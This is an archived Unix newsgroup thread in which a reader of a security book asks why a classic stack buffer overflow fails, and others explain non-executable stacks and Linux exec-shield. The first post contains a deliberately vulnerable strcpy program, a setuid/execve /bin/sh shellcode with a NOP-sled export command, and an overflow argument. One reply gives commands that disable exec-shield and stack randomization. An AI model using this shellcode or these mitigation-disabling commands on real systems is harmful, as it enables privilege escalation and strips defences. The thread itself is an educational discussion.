|
Home > Archive > Unix Programming > January 2006 > Stack Confusion with Buffer Overflow
You are viewing an archived Text-only version of the thread.
To view this thread in it's original format and/or if you want to reply to
this thread please [click here]
| Author |
Stack Confusion with Buffer Overflow
|
|
| Markus Pitha 2006-01-29, 9:32 pm |
| Hello,
at the moment I read a book called "Forbitten Code". In this books are
examples but they never work for me, although I'm sure that I understood
everything.
I want to describe the example. It is about getting root permissions on
the own computer with help of a buffer overflow.
First of all there is the vulnerable program:
#include <string.h>
int main(int argc, char **argv) {
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
Then I saved the shellcode to a variable SHELLCODE, I got from the book.
The shellcode looks like this:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80
\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b
\x8d\x4b\x08\x8d\x53\x0c
\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68
It is described that x90 is the "No Operation"-instruction. "shellcode"
contains 46 hex-numbers, which also includes /bin/sh as you can see below:
export SHELLCODE=`perl -e 'print "\x90"x200;'``cat shellcode`
Then I looked into the stack:
0xbfd13510: "HOSTNAME=gentoo"
0xbfd13520: "SHELLCODE=", '\220' <repeats 190 times>...
0xbfd135e8:
" \220\220\220\220\220\220\220\220\220\220
1Ā°F1Û1ÉÍ\200ë\026[1Ā\210C\a\211& #91;\b\211C\f°\v\215K\b\215S\fÍ\200čå˙˙˙
/bin/sh"
0xbfd13621: "SHELL=/bin/bash"
Because the address 0xbfd13520 contains the string "SHELLCODE", I have
to choose a later address to get to the code, so I chose at least
0xbfd13530.
Now I can use these address as the jump-back-address for the buffer
overflow. I have to assign the hex-numbers with the little endian order
because my processor is an Intel. (btw, I also tried a 100-times loop below)
../vuln `perl -e 'print "\x30\x35\xd1\bf"x10;'`
When I start vuln with the parameters, I just get a SEGMENTATION FAULT
instead of root-rights.
First I thought that the shellcode could be wrong but in an earlier
example I managed it to get root-privileges, but _only_ once.
Can anybody imagine where this example fails?
Thanks,
Markus
| |
| Pascal Bourguignon 2006-01-29, 9:32 pm |
| Markus Pitha <markus@pithax.net> writes:
> Hello,
>
> at the moment I read a book called "Forbitten Code". In this books are
> examples but they never work for me, although I'm sure that I understood
> everything.
> I want to describe the example. It is about getting root permissions on
> the own computer with help of a buffer overflow.
> First of all there is the vulnerable program:
> [...]
> When I start vuln with the parameters, I just get a SEGMENTATION FAULT
> instead of root-rights.
> First I thought that the shellcode could be wrong but in an earlier
> example I managed it to get root-privileges, but _only_ once.
> Can anybody imagine where this example fails?
What do you think Linus and all the kernel hackers have been doing all
this time? Getting a sun tan on a Carabean beach?
--
__Pascal Bourguignon__ http://www.informatimago.com/
"This statement is false." In Lisp: (defun Q () (eq nil (Q)))
| |
| Markus Pitha 2006-01-29, 9:32 pm |
| Hello,
Pascal Bourguignon wrote:
> What do you think Linus and all the kernel hackers have been doing all
> this time? Getting a sun tan on a Carabean beach?
No, but why did it already work once?
Markus.
| |
| Måns Rullgård 2006-01-29, 9:32 pm |
| Markus Pitha <markus@pithax.net> writes:
> Hello,
>
> Pascal Bourguignon wrote:
>
> No, but why did it already work once?
Are you sure you were not already running as root? I'm sure that any
exploit old enough to have made it into a book has been fixed by now.
--
Måns Rullgård
mru@inprovide.com
| |
| Markus Pitha 2006-01-29, 9:32 pm |
| Hello,
Måns Rullgård wrote:
> Are you sure you were not already running as root? I'm sure that any
> exploit old enough to have made it into a book has been fixed by now.
Yes, I'm absolutely sure. I never run programs as root, but I had to
restart my first example at least 60 times in a row to have at least one
successful buffer overflow.
My concern is just to understand how these break-ins work, and when you
say it's fixed now, then I know that it was not my fault to not have a
successful break-in, and so I also know that the code usually would be ok.
Markus.
| |
| Måns Rullgård 2006-01-29, 9:32 pm |
| Markus Pitha <markus@pithax.net> writes:
> Hello,
>
> Måns Rullgård wrote:
>
> Yes, I'm absolutely sure. I never run programs as root, but I had to
> restart my first example at least 60 times in a row to have at least one
> successful buffer overflow.
Even if it only works one time in 60, there's still a bug, and as I
said, I'd be surprised if such a simple attack is possible on a modern
system. Could you describe exactly what you did? What kernel version
are you running?
--
Måns Rullgård
mru@inprovide.com
| |
| Markus Pitha 2006-01-29, 9:32 pm |
| Sure, I'll mail it to you.
| |
| Måns Rullgård 2006-01-29, 9:32 pm |
| Markus Pitha <markus@pithax.net> writes:
> Sure, I'll mail it to you.
Please reply to the newsgroup.
For those who can't read my email, he was using a suid program. In
other words he gained root privileges by starting out as root. Hardly
a worthy attack.
--
Måns Rullgård
mru@inprovide.com
| |
| Paul Pluzhnikov 2006-01-29, 9:32 pm |
| Markus Pitha <markus@pithax.net> writes:
> Can anybody imagine where this example fails?
The most likely reason is that you are trying this code on a recent
Linux system (such as Fedora Core 2 or above) with exec-shield
protection, which specifically aims to defeat exactly this class
of attacks.
Your HOSTNAME is 'gentoo', so the chance of it being Linux is
very high (in the future, you'll do well to specify exactly what
OS you are running, instead of keeping us guessing).
I don't know if Gentoo has also adopted stack randomization and
other techniques that Fedora uses.
You may try your tests again, after doing this:
echo 0 > /proc/sys/kernel/exec-shield
echo 0 > /proc/sys/kernel/exec-shield-randomize
Cheers,
--
In order to understand recursion you must first understand recursion.
Remove /-nsp/ for email.
| |
| Barry Margolin 2006-01-29, 9:32 pm |
| In article <5f813$43da6fe1$54705512$11380@news.chello.at>,
Markus Pitha <markus@pithax.net> wrote:
> When I start vuln with the parameters, I just get a SEGMENTATION FAULT
> instead of root-rights.
> First I thought that the shellcode could be wrong but in an earlier
> example I managed it to get root-privileges, but _only_ once.
> Can anybody imagine where this example fails?
Many systems these days do not allow execution of the stack segment by
default. This prevents most buffer overflow attacks from working.
--
Barry Margolin, barmar@alum.mit.edu
Arlington, MA
*** PLEASE post questions in newsgroups, not directly to me ***
*** PLEASE don't copy me on replies, I'll read them in the group ***
| |
| Casper H.S. Dik 2006-01-29, 9:32 pm |
| Pascal Bourguignon <spam@mouse-potato.com> writes:
>What do you think Linus and all the kernel hackers have been doing all
>this time? Getting a sun tan on a Carabean beach?
Do you really think that buffer overflows magically no longer
work anymore?
Unless it's a system with a non-executable stack, which was until recently
a relative rarity in x86 land, a run-of-the-mill buffer overflow
should still be exploitable.
Of course, you would not get root rights but only a shell running
under your own user id.
Casper
--
Expressed in this posting are my opinions. They are in no way related
to opinions held by my employer, Sun Microsystems.
Statements on Sun products included here are not gospel and may
be fiction rather than truth.
| |
| Pascal Bourguignon 2006-01-29, 9:32 pm |
| Casper H.S. Dik <Casper.Dik@Sun.COM> writes:
> Pascal Bourguignon <spam@mouse-potato.com> writes:
>
>
> Do you really think that buffer overflows magically no longer
> work anymore?
Hard work by linux programmers doesn't qualify as magic, or does it?
> Unless it's a system with a non-executable stack, which was until recently
> a relative rarity in x86 land, a run-of-the-mill buffer overflow
> should still be exploitable.
>
> Of course, you would not get root rights but only a shell running
> under your own user id.
Anyways, I meant that if you want to exercise an exploit, you'd better
try it on the older version of the system where this exploit works,
and not complain if it doesn't work on a newer version, unless you're
a naive black-hat wanabee.
--
__Pascal Bourguignon__ http://www.informatimago.com/
PLEASE NOTE: Some quantum physics theories suggest that when the
consumer is not directly observing this product, it may cease to
exist or will exist only in a vague and undetermined state.
| |
| Markus Pitha 2006-01-29, 9:32 pm |
| Thank you all for your answers. I'm relieved to hear that the code seems
to be ok, and that it just didn't work due to security reasons.
Markus
|
|
|
|
|